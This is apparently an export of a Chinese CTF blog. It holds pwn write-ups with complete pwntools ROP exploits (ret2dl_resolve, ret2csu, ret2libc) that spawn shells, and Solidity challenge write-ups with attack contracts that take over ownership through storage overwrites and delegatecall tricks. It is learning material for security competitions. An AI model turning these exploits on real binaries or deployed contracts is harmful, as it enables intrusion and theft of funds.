binsh_addr = libc_base + libc.search("/bin/sh").next() lg('libc_addr', libc_base) lg('system_addr', system_addr) lg('binsh_addr', binsh_addr) payload = 'a'*0x6c payload += 'b'*4 payload += p32(system_addr) payload += p32(0xdeadbeef) payload += p32(binsh_addr) sl(payload) pi() 方法二 直接使用了roputils库,比较简洁 123456789101112131415161718192021222324252627# coding=utf-8from roputils import *from pwn import processfrom pwn import gdbfrom pwn import contextprocessName = 'main'offset = 112r = process('./' + processName)context.log_level = 'debug'rop = ROP('./' + processName)bss_base = rop.section('.bss')buf = rop.fill(offset)buf += rop.call('read', 0, bss_base, 100)## used to call dl_Resolve()buf += rop.dl_resolve_call(bss_base + 20, bss_base)r.send(buf)buf = rop.string('/bin/sh')buf += rop.fill(20, buf)## used to make faking data, such relocation, Symbol, Strbuf += rop.dl_resolve_data(bss_base + 20, 'system')buf += rop.fill(100, buf)r.send(buf)r.interactive() 方法三 其实一步一步伪构造能更容易理解过程,可以参考高级ROP ret2dl_runtime 之通杀详解和ROP高级用法之ret2_dl_runtime_resolve 上面构造的ROP左边是做一个栈的迁移 右边是伪造的解析链 1234567891011121314151617181920212223242526272829303132333435363738394041from pwn import *context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']name = './main'p = process(name)elf= ELF(name)rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr #0x8048330dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr #0x80481d8dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr #0x8048278resolve_plt = 0x08048380leave_ret_addr = 0x0804851Dstart = 0x804aa00fake_rel_plt_addr = startfake_dynsym_addr = fake_rel_plt_addr + 0x8fake_dynstr_addr = fake_dynsym_addr + 0x10bin_sh_addr = fake_dynstr_addr + 0x8#n index_argn = fake_rel_plt_addr - rel_plt_addrr_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7str_offset = fake_dynstr_addr - dynstr_addrfake_rel_plt = p32(elf.got['read']) + p32(r_info)fake_dynsym = p32(str_offset) + p32(0) + p32(0) + p32(0x12000000)fake_dynstr = "system"+'\x00'+'\x00'fake_dynstr += "/bin/sh"+'\x00'pay1 = 'a'*108 + p32(start - 20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0) + p32(start - 20) + p32(0x100)p.recvuntil('Welcome to XDCTF2015~!\n')p.sendline(pay1)pay2 = p32(0x0) + p32(resolve_plt) + p32(n) + 'aaaa' + p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstrp.sendline(pay2)success(".rel_plt: " + hex(rel_plt_addr))success(".dynsym: " + hex(dynsym_addr))success(".dynstr: " + hex(dynstr_addr))success("fake_rel_plt_addr: " + hex(fake_rel_plt_addr))success("fake_dynsym_addr: " + hex(fake_dynsym_addr))success("fake_dynstr_addr: " + hex(fake_dynstr_addr))success("n: " + hex(n))success("r_info: " + hex(r_info))success("offset: " + hex(str_offset))success("system_addr: " + hex(fake_dynstr_addr))success("bss_addr: " + hex(elf.bss()))p.interactive()]]></content>
<categories>
<category>pwn</category>
</categories>
<tags>
<tag>pwn</tag>
<tag>elf</tag>
</tags>
</entry>
<entry>
<title><![CDATA[ret2csu]]></title>
<url>%2F2020%2Fret2csu%2F</url>
<content type="text"><![CDATA[ctf-wiki 中 ret2csu ,对于 64 位程序,详细参考 ctf-wiki 我的测试环境为 ubuntu18.04 ,因为这个环境卡了好久,多了一条指令,最后总是跳不过去 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140from pwn import *local=1pc='./level5'aslr=Truecontext.log_level=True#context.terminal = ["deepin-terminal","-x","sh","-c"]libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')level5 = ELF('./level5')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc,aslr=aslr) #gdb.attach(p,'c')else: remote_addr=['111.198.29.45', 39802] p=remote(remote_addr[0],remote_addr[1])ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x ,drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a,b)sla = lambda a,b : p.sendlineafter(a,b)pi = lambda : p.interactive()def dbg(b =""): gdb.attach(p , b) raw_input()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8,'\x00')) else: return u64(rl().strip('\n').ljust(8,'\x00'))csu_front_addr = 0x400600csu_end_addr = 0x40061adef csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 payload = 'a'*0x80 payload += 'b'*8 payload += p64(csu_end_addr) payload += p64(rbx) payload += p64(rbp) payload += p64(r12) payload += p64(r13) payload += p64(r14) payload += p64(r15) payload += p64(csu_front_addr) payload += 'c'*0x38 payload += p64(last) sl(payload) sleep(1)if __name__ == '__main__': write_plt = level5.plt['write'] write_got = level5.got['write'] start_addr = level5.symbols['_start'] bss_addr = level5.bss() read_got = level5.got['read'] lg('write_plt', write_plt) lg('write_got', write_got) lg('start_addr', start_addr) lg('bss_addr', bss_addr) ru('Hello, World\n') # write(1,write_got,8) csu(0, 1, write_got, 8, write_got, 1, start_addr) write_addr = u64(rv(8)) lg('write_addr', write_addr) # 0x250 libc_base_addr = write_addr - libc.symbols['write'] lg('libc_base_addr', libc_base_addr) system_addr = libc_base_addr + libc.symbols['system'] lg('system_addr', system_addr) binsh_addr = libc_base_addr + libc.search("/bin/sh").next() lg('binsh_addr', binsh_addr) ru('Hello, World\n') # read(0,bss_base,16) # read system and /bin/sh\x00 csu(0, 1, read_got, 16, bss_addr, 0, start_addr) sn(p64(system_addr)+'/bin/sh\x00') # gdb.attach(p) # pause() ru('Hello, World\n') # csu(0, 1, bss_addr, 0, 0, bss_addr+8, start_addr) # system(bss_base+8) payload = 'a'*0x80 payload += 'b'*8 # 就是这个地方多了一条movaps命令,所以跳不过去,所以需要pop rip一下,如果是ubuntu16.04应该是正常的 payload += p64(0x400624) payload += p64(csu_end_addr) payload += p64(0) payload += p64(1) payload += p64(bss_addr) payload += p64(0) payload += p64(0) payload += p64(bss_addr+8) payload += p64(csu_front_addr) payload += 'c'*0x38 payload += p64(start_addr) sl(payload) pi()]]></content>
<categories>
<category>pwn</category>
</categories>
<tags>
<tag>pwn</tag>
<tag>ret2csu</tag>
</tags>
</entry>
<entry>
<title><![CDATA[32&64]]></title>
<url>%2F2020%2F32-64%2F</url>
<content type="text"><![CDATA[32 位和 64 位程序的一些简单区别 随时更新,想到哪写到哪 参数顺序 32位 函数参数在函数返回地址的上方 参数从右向左依次放入栈中 64位 当参数小于 7 个时,参数从左到右放入寄存器: rdi、rsi、rdx、rcx、r8、r9 当参数为 7 个以上时,前 6 个与前面一样,但后面的依次从右向左放入栈中,即和32位汇编一样]]></content>
<categories>
<category>study</category>
</categories>
<tags>
<tag>pwn</tag>
<tag>study</tag>
</tags>
</entry>
<entry>
<title><![CDATA[ret2libc3]]></title>
<url>%2F2020%2Fret2libc3%2F</url>
<content type="text"><![CDATA[ctf-wiki 中 ret2libc3 没有 system 和 /bin/sh ,泄漏 libc Analyse 泄漏 _start 地址 获取 libc 版本 获取 system 与 /bin/sh 地址 再次执行源程序 触发栈溢出执行 system('/bin/sh') Exp 1 自己写的 exp ,根据泄漏的地址先找到 libc 到返回地址的偏移可使用 cyclic 快速判断12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273from pwn import *local = 1pc = './ret2libc3'aslr = Truecontext.log_level = True#context.terminal = ["deepin-terminal","-x","sh","-c"]libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')ret2libc3 = ELF('./ret2libc3')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc,aslr=aslr) #gdb.attach(p,'c')else: remote_addr = ['111.198.29.45', 39802] p = remote(remote_addr[0], remote_addr[1])ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()def dbg(b=""): gdb.attach(io, b) raw_input()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8,'\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))if __name__ == '__main__': puts_plt = ret2libc3.plt['puts'] libc_start_main_got = ret2libc3.got['__libc_start_main'] start_addr = ret2libc3.symbols['_start'] lg('start_addr', start_addr) payload = 'a' * 112 payload += p32(puts_plt) payload += p32(start_addr) payload += p32(libc_start_main_got) payload += '\x00' sl(payload) ru('Can you find it !?') libc_start_main_addr = u32(p.recv()[0:4]) lg('libc_start_main_addr',libc_start_main_addr) distance = libc.symbols['system'] - libc.symbols['__libc_start_main'] lg('distance', distance) libc_base_addr = libc_start_main_addr - libc.symbols['__libc_start_main'] system_addr = libc_base_addr + libc.symbols['system'] binsh_addr = libc_base_addr + libc.search("/bin/sh").next() lg('system_addr', system_addr) lg('binsh_addr', binsh_addr) payload = 'a' * 112 payload += p32(system_addr) payload += p32(0xdeadbeef) payload += p32(binsh_addr) sl(payload) pi() Exp 2 先泄漏 libc ,然后使用 one_gadget1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071from pwn import *local = 1pc='./ret2libc3'aslr = Truecontext.log_level = True#context.terminal = ["deepin-terminal","-x","sh","-c"]libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')ret2libc3 = ELF('./ret2libc3')if local == 1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr) #gdb.attach(p,'c')else: remote_addr = ['111.198.29.45', 39802] p = remote(remote_addr[0], remote_addr[1])ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()def dbg(b=""): gdb.attach(io , b) raw_input()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))if __name__ == '__main__': puts_plt = ret2libc3.plt['puts'] libc_start_main_got = ret2libc3.got['__libc_start_main'] start_addr = ret2libc3.symbols['_start'] lg('start_addr', start_addr) payload = 'a' * 112 payload += p32(puts_plt) payload += p32(start_addr) payload += p32(libc_start_main_got) sl(payload) ru('Can you find it !?') libc_start_main_addr = u32(p.recv()[0:4]) lg('libc_start_main_addr',libc_start_main_addr) libc_base_addr = libc_start_main_addr - libc.symbols['__libc_start_main'] one_gadget = libc_base_addr + 0x3d130 payload = 'a' * 112 payload += p32(one_gadget) sl(payload) pi()"""0x3d130 execve("/bin/sh", esp+0x40, environ)constraints: esi is the GOT address of libc [esp+0x40] == NULL""" Exp 3 网上找的另一个版本使用 LibcSearcher 泄漏 libc12345678910111213141516171819202122232425262728##coding=utf-8from pwn import *from LibcSearcher import LibcSearchercontext.binary='ret2libc3'sh = process('./ret2libc3')ret2libc3 = ELF('./ret2libc3')puts_plt = ret2libc3.plt['puts']libc_start_main_got = ret2libc3.got['__libc_start_main']main = ret2libc3.symbols['_start']print("leak main_got addr and return main")payload = flat(['A'*112,puts_plt,main,libc_start_main_got])sh.sendlineafter('Can you find it !?',payload)libc_start_main_addr = u32(sh.recv()[0:4])print(hex(libc_start_main_addr))libc = LibcSearcher('__libc_start_main',libc_start_main_addr)libcbase = libc_start_main_addr-libc.dump('__libc_start_main')system_addr = libcbase+libc.dump('system')binsh_addr = libcbase +libc.dump('str_bin_sh')print("now get shell")payload = flat(['A'*112,system_addr,'A'*4,binsh_addr])sh.send(payload)sh.interactive()]]></content>
<categories>
<category>pwn</category>
</categories>
<tags>
<tag>pwn</tag>
<tag>ret2libc3</tag>
</tags>
</entry>
<entry>
<title><![CDATA[plt&got]]></title>
<url>%2F2020%2Fplt-got%2F</url>
<content type="text"><![CDATA[学习一些 pwn 的知识,简单记录帮助自己理解 Preview .got GOT(Global Offset Table) 全局偏移表。这是链接器为外部符号填充的实际偏移表。 .plt PLT(Procedure Linkage Table) 程序链接表。它有两个功能,要么在 .got.plt 节中拿到地址并跳转,要么当 .got.plt 没有所需地址时,触发链接器去找到所需地址。 .got.plt 这个是 GOT 专门为 PLT 专门准备的节。.got.plt 中的值是 GOT 的一部分,它包含上述 PLT 表所需的地址(已经找到的和需要去触发的) .plt.got Unknown Analyse 下面所有的图片来自于 https://blog.csdn.net/weixin_44681716/article/details/89877497 程序编译时会采用两种表进行辅助,一个为 PLT 表,一个为 GOT 表,这两个表是相对应的。PLT 表中的每一项的数据内容都是对应的 GOT 表中一项的地址,这个是固定不变的,PLT 表中的数据不是函数的真实地址,而是 GOT 表项的地址。 下图是第一次调用函数的流程 第一步,由函数调用跳入到 PLT 表中 第二步,PLT 表跳到 GOT 表中 第三步,GOT 表回跳到 PLT 表中,这时候进行压栈,把代表函数的 ID 压栈 第四步,跳转到公共的 PLT 表项中 第五步,进入到 GOT 表 第六步,_dl_runtime_resolve 对动态函数进行地址解析和重定位 第七步,把动态函数真实的地址写入到 GOT 表项中 第八步,执行函数并返回 下图是第二次调用函数的流程 第一步,由函数调用调入到 PLT 表中 第二步,跳入到 GOT 表,由于这时候该表项已经是动态函数的真实地址,所以可以直接执行然后返回 Referencehttps://blog.csdn.net/weixin_44681716/article/details/89877497https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html]]></content>
<categories>
<category>pwn</category>
</categories>
<tags>
<tag>pwn</tag>
<tag>plt</tag>
<tag>got</tag>
</tags>
</entry>
<entry>
<title><![CDATA[第五空间 CreativityPlus & SafeDelegatecall]]></title>
<url>%2F2020%2Fcreativityplus%2F</url>
<content type="text"><![CDATA[前言 第五空间 creativityplus 题目 creativityplus 题目有个非预期,直接部署一个字节 stop 指令也可以,0x600a600c60003960016000f3+00 文章介绍预期解 CreativityPlus 题目很简单,改编自 Creativity 题目,简称 CreativityPlus 升级版 考点 create2 与 bytecode 题目逻辑如下: 部署一个合约,大小不超过 4 字节 调用 check ,参数是我们部署的合约地址 调用 execute,使得返回值为 true,我们即可成为 owner 但是我们没法在 4 个字节内 emit SendFlag create2 骚操作,使用如下代码可将不同 bytecode 部署到同一个地址上,deployedAddr 即为部署的合约地址 123456789101112131415161718192021222324252627pragma solidity ^0.5.10;contract Deployer { bytes public deployBytecode; address public deployedAddr; function deploy(bytes memory code) public { deployBytecode = code; address a; // Compile Dumper to get this bytecode bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe'; assembly { a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x8866) } deployedAddr = a; }}contract Dumper { constructor() public { Deployer dp = Deployer(msg.sender); bytes memory bytecode = dp.deployBytecode(); assembly { return (add(bytecode, 0x20), mload(bytecode)) } }} 所以题目的逻辑如下: 用 create2 的骚操作,部署一个合约 0x33ff ,即 selfdestruct(msg.sender) 调用 check() ,让 target 为我们部署的合约地址 给我们部署的合约发一笔空交易,让它自毁 再次使用 create2 骚操作,在同一个地址部署合约,合约内容大小不超过 10 字节,返回 1 返回值由 return(p, s) 操作码处理,但是在返回值之前,必须先存储在内存中,使用 mstore(p, v) 将 1 存储在内存中 首先,使用 mstore(p, v) 将 1 存储在内存中,其中 p 是在内存中的存储位置, v 是十六进制值,1 的十六进制是 0x01 1230x6001 ;PUSH1 0x01 v0x6080 ;PUSH1 0x80 p0x52 ;MSTORE 然后,使用 return(p, s) 返回 0x01 ,其中 p 是值 0x2a 存储的位置,s 是值 0x2a 存储所占的大小 0x20 ,占 32 字节 1230x6020 ;PUSH1 0x20 s0x6080 ;PUSH1 0x80 p0xf3 ;RETURN 所以我们只需使用 Deployer.deploy 部署 0x600160805260206080f3 即可,正好 10 opcodes 调用 execute 我们即可成为 owner SafeDelegatecall1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465pragma solidity ^0.4.23;contract SafeDelegatecall { address private owner; bytes4 internal constant SET = bytes4(keccak256('fifth(uint256)')); event SendFlag(address addr); uint randomNumber = 0; struct Func { function() internal f; } constructor() public payable { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } // 0x4b64e492 function execute(address _target) public payable{ require(_target.delegatecall(abi.encodeWithSelector(this.execute.selector)) == false, 'unsafe execution'); bytes4 sel; uint val; (sel, val) = getRet(); require(sel == SET); Func memory func; func.f = gift; assembly { mstore(func, sub(mload(func), val)) } func.f(); } // 0x24b04905 function gift() private { payforflag(); } // 0xc37e74c7 function getRet() internal pure returns (bytes4 sel, uint val) { assembly { if iszero(eq(returndatasize, 0x24)) { revert(0, 0) } let ptr := mload(0x40) returndatacopy(ptr, 0, 0x24) sel := and(mload(ptr), 0xffffffff00000000000000000000000000000000000000000000000000000000) val := mload(add(0x04, ptr)) } } // 0x80e10aa5 function payforflag() public payable onlyOwner { require(msg.value == 1, 'I only need a little money!'); emit SendFlag(msg.sender); selfdestruct(msg.sender); } function() payable public{}} 题目对 delegatecall 返回值进行检查,有效防止其篡改调用者合约的 storage 数据 题目有个 backdoor,存在任意跳转,任意跳转的参数有两个 mload(func)和返回值 val,跳转的地址为它们的差值,跳转的目的地址为 0x3c1 即可,这个自己逆向可以分析出来,其中 mload(func) 的值为 0x48a,所以返回值 val = 0x48a-0x3c1 = 201 部署以下合约得到攻击合约地址 addr ,调用 execute(addr) 即可 123456789101112contract hack { bytes4 internal constant SEL = bytes4(keccak256('fifth(uint256)')); function execute(address) public pure { bytes4 sel = SEL; assembly { mstore(0,sel) mstore(0x4,201) revert(0,0x24) } }}]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Create2</tag>
<tag>Solidity</tag>
<tag>Delegatecall</tag>
</tags>
</entry>
<entry>
<title><![CDATA[以太坊蜜罐合约收集列表]]></title>
<url>%2F2020%2Fhoneypot-list%2F</url>
<content type="text"><![CDATA[前言 主链上的蜜罐合约 不断更新列表]]></content>
<categories>
<category>Ethereum</category>
</categories>
<tags>
<tag>Ethereum</tag>
<tag>Etherscan</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Real World CTF Finals 2019 - Montagy]]></title>
<url>%2F2020%2FMontagy%2F</url>
<content type="text"><![CDATA[前言 rw2019 montagy 区块链题目 复现了,但是没有记录过程,这里只记录心得 复现的合约地址:0xd95C819d1DFBD085dFf0b3351230958Cb6075957@ropsten 详细 WP 见 https://x9453.github.io/2020/01/26/Real-World-CTF-Finals-2019-Montagy/ 合约确定后会有自己的 bytecode ,对 bytecode 进行 padding 不会影响其部署的结果 对 bytecode 进行 padding 要注意对齐问题,用 0 补齐]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>rw2019</tag>
</tags>
</entry>
<entry>
<title><![CDATA[RCTF2020 roiscoin]]></title>
<url>%2F2020%2Frctf2020-roiscoin%2F</url>
<content type="text"><![CDATA[前言 RCTF2020 区块链 roiscoin 题目 以太坊 Ropsten 测试链 Source12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697pragma solidity ^0.4.23;contract FakeOwnerGame { event SendFlag(address _addr); uint randomNumber = 0; uint time = now; mapping (address => uint) public BalanceOf; mapping (address => uint) public WinCount; mapping (address => uint) public FailCount; bytes32[] public codex; address private owner; uint256 settlementBlockNumber; address guesser; uint8 guess; struct FailedLog { uint failtag; uint failtime; uint success_count; address origin; uint fail_count; bytes12 hash; address msgsender; } mapping(address => FailedLog[]) FailedLogs; constructor() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function payforflag() onlyOwner { require(BalanceOf[msg.sender] >= 2000); emit SendFlag(msg.sender); selfdestruct(msg.sender); } function lockInGuess(uint8 n) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = n; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2; if (guess == answer) { WinCount[msg.sender] += 1; BalanceOf[msg.sender] += 1000; } else { FailCount[msg.sender] += 1; } if (WinCount[msg.sender] == 2) { if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) { guesser = 0; WinCount[msg.sender] = 0; FailCount[msg.sender] = 0; msg.sender.transfer(address(this).balance); } else { FailedLog failedlog; failedlog.failtag = 1; failedlog.failtime = now; failedlog.success_count = WinCount[msg.sender]; failedlog.origin = tx.origin; failedlog.fail_count = FailCount[msg.sender]; failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender])); failedlog.msgsender = msg.sender; FailedLogs[msg.sender].push(failedlog); } } } function beOwner() payable { require(address(this).balance > 0); if(msg.value >= address(this).balance){ owner = msg.sender; } } function revise(uint idx, bytes32 tmp) { if(uint(msg.sender) & 0x61 == 0x61 && tx.origin != msg.sender) { codex[idx] = tmp; } }} Analyse 题目直接给了源码 题目有非预期:beOwner 在合约账户余额为 0 的情况下可以直接成为 owner ,这个没有控制好条件,同时 settle 那里应该也有非预期,应该只让猜 3 次,结果也没有控制好条件,本文不介绍非预期的做法 抛除非预期,这里介绍下题目正常的逻辑,考点有三个: 预测随机数: 这里的随机数是未来的随机数,可以说是预测未来的随机数,看似不可能,关键在于 guess 的范围是 2 ,也就是只有 0 和 1 ,所以可以爆破 未初始化的结构体 storage 覆盖问题: settle 中的 failedlog 未初始化会造成 storage 变量覆盖,会覆盖 codex 数组长度 数组任意写: 当数组长度被修改后,可以覆盖 owner ,当然这对数组长度有一定的要求,根据情况选择合适的数据,这里是用 msg.sender 覆盖数组长度的高 20 字节 exp 部署 hack 合约,这里需要注意: 数组在 storage5 位置, keccak256(bytes32(5)) = 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0 当我们修改 codex[y],(y=2^256-x+6) 时就能修改 slot 6 ,从而修改 owner , 其中 x = keccak256(bytes32(5)) 计算出 y = 114245411204874937970903528273105092893277201882823832116766311725579567940182 , 即 y = 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256 所以数组的长度 codex.length 要 > y , 由于 msg.sender 覆盖数组长度的高 20 字节,所以其实是变相要求 address(msg.sender) > y , 我们可以生成以 0xfd 或 0xfe 或 0xff 开头的地址即可简单满足这一点 解题步骤 调用 hack1 调用 hack2 一次,这一次需要满足 result = 1 ,否则继续调用 hack2 ,直至这一次成功 调用 hack3 两次,这两次需要满足 result = 0 ,否则继续调用 hack3 ,直至两次为止 调用 hack4 修改 owner ,这里有个坑点,题目给的合约不是真正的合约,因为调用 hack4 总是不能成功修改 owner , 逆向合约,可以看出 revise 函数有问题,额外要求 msg.sender 最低位字节是 0x61 ,所以对 msg.sender 总共有两点要求: 大于 y 并且最低字节是 0x61 调用 hack5 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143pragma solidity ^0.4.23;contract FakeOwnerGame { event SendFlag(address _addr); uint randomNumber = 0; uint time = now; mapping (address => uint) public BalanceOf; mapping (address => uint) public WinCount; mapping (address => uint) public FailCount; bytes32[] public codex; address private owner; uint256 settlementBlockNumber; address guesser; uint8 guess; struct FailedLog { uint failtag; uint failtime; uint success_count; address origin; uint fail_count; bytes12 hash; address msgsender; } mapping(address => FailedLog[]) FailedLogs; constructor() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function payforflag() onlyOwner { require(BalanceOf[msg.sender] >= 2000); emit SendFlag(msg.sender); selfdestruct(msg.sender); } function lockInGuess(uint8 n) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = n; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2; if (guess == answer) { WinCount[msg.sender] += 1; BalanceOf[msg.sender] += 1000; } else { FailCount[msg.sender] += 1; } if (WinCount[msg.sender] == 2) { if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) { guesser = 0; WinCount[msg.sender] = 0; FailCount[msg.sender] = 0; msg.sender.transfer(address(this).balance); } else { FailedLog failedlog; failedlog.failtag = 1; failedlog.failtime = now; failedlog.success_count = WinCount[msg.sender]; failedlog.origin = tx.origin; failedlog.fail_count = FailCount[msg.sender]; failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender])); failedlog.msgsender = msg.sender; FailedLogs[msg.sender].push(failedlog); } } } function beOwner() payable { require(address(this).balance > 0); if(msg.value >= address(this).balance){ owner = msg.sender; } } function revise(uint idx, bytes32 tmp) { if(uint(msg.sender) & 0x61 == 0x61 && tx.origin != msg.sender) { codex[idx] = tmp; } } function read_slot(uint k) public view returns (bytes32 res) { assembly { res := sload(k) } } function cal_addr(uint p) public pure returns(bytes32 res) { res = keccak256(abi.encodePacked(p)); }}contract hack { uint public result; address instance_address = 0x7be4ae576495b00d23082575c17a354dd1d9e429 ; FakeOwnerGame target = FakeOwnerGame(instance_address); constructor() payable{} // 随机猜一个数0或1 function hack1() { target.lockInGuess.value(1 ether)(0); } // 这里先让result=1,即先猜失败 function hack2() { result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2; if (result == 1) { target.settle(); } } // 这里让result=0,即猜测成功,连续调用两次 function hack3() { result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2; if (result == 0) { target.settle(); } } // 修改owner function hack4() { target.revise(114245411204874937970903528273105092893277201882823832116766311725579567940182,bytes32(address(this))); } function hack5() { target.payforflag(); }} 对于该题目生成满足 msg.sender 的合约地址可通过下面脚本生成,直接调用 generate_eoa2 即可 1234567891011121314151617181920212223242526272829303132333435from ethereum import utilsimport os, sys# generate EOA with appendix 1b1bdef generate_eoa1(): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv)) while not addr.lower().endswith("1b1b"): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv)) print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))# generate EOA with the ability to deploy contract with appendix 1b1bdef generate_eoa2(): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv)) while not (utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("61") and utils.decode_addr(utils.mk_contract_address(addr, 0)).startswith("fd")): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv)) print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))if __name__ == "__main__": if sys.argv[1] == "1": generate_eoa1() elif sys.argv[1] == "2": generate_eoa2() else: print("Please enter valid argument")]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>rctf 2020</tag>
<tag>roiscoin</tag>
</tags>
</entry>
<entry>
<title><![CDATA[一道很简单的区块链题目]]></title>
<url>%2F2020%2Feasy-blockchains%2F</url>
<content type="text"><![CDATA[前言 不经意间看到的一个题目,就随便做了一下 大佬勿喷 合约地址:0x496371aF69612e7C85F8a558f9f19E0c15E9d4B0 @ ropsten, payforflag(string memory b64email) Analyse 没有给源码,自己逆向,得到下面的逻辑 12345678910111213141516171819202122232425262728293031323334353637383940pragma solidity ^0.4.23;contract test { mapping(address=>uint) public balance; address public owner; uint s2; uint s3; uint s4; function profit(uint amount) public { require(balance[msg.sender] == 0); require(s2 != 0); if(amount % s2 == s3){ require(s3 != 0); if(amount % s3 == s4){ balance[msg.sender] += 3; } } } function withdraw(uint amount) public { require(amount == 2); require(balance[msg.sender] == 3); msg.sender.call.value(amount * 100000000000000)(); balance[msg.sender] -= amount; } function payforflag(string memory b64email) public { require(balance[msg.sender]>=10000000000); } function func_0531(uint t1, uint t2, uint t3) public { require(msg.sender == owner); s2 = t1; s3 = t2; s4 = t3; } } 很简单,先调用 profit ,使得 balance[msg.sender] = 3 ,这里 s2、s3、s4是owner设置的,我们可以直接 web3.eth.getStorageAt 查看即可,发现 s2=65537、s3=64834、s4=41958,然后就是中国剩余定理求解问题,可用下面脚本,求得 amount=227609298 1234567891011121314151617181920212223#!/usr/bin/env python# -*- coding:utf-8 -*-from functools import reducedef egcd(a, b): """扩展欧几里得""" if 0 == b: return 1, 0, a x, y, q = egcd(b, a % b) x, y = y, (x - a // b * y) return x, y, qdef chinese_remainder(pairs): """中国剩余定理""" mod_list, remainder_list = [p[0] for p in pairs], [p[1] for p in 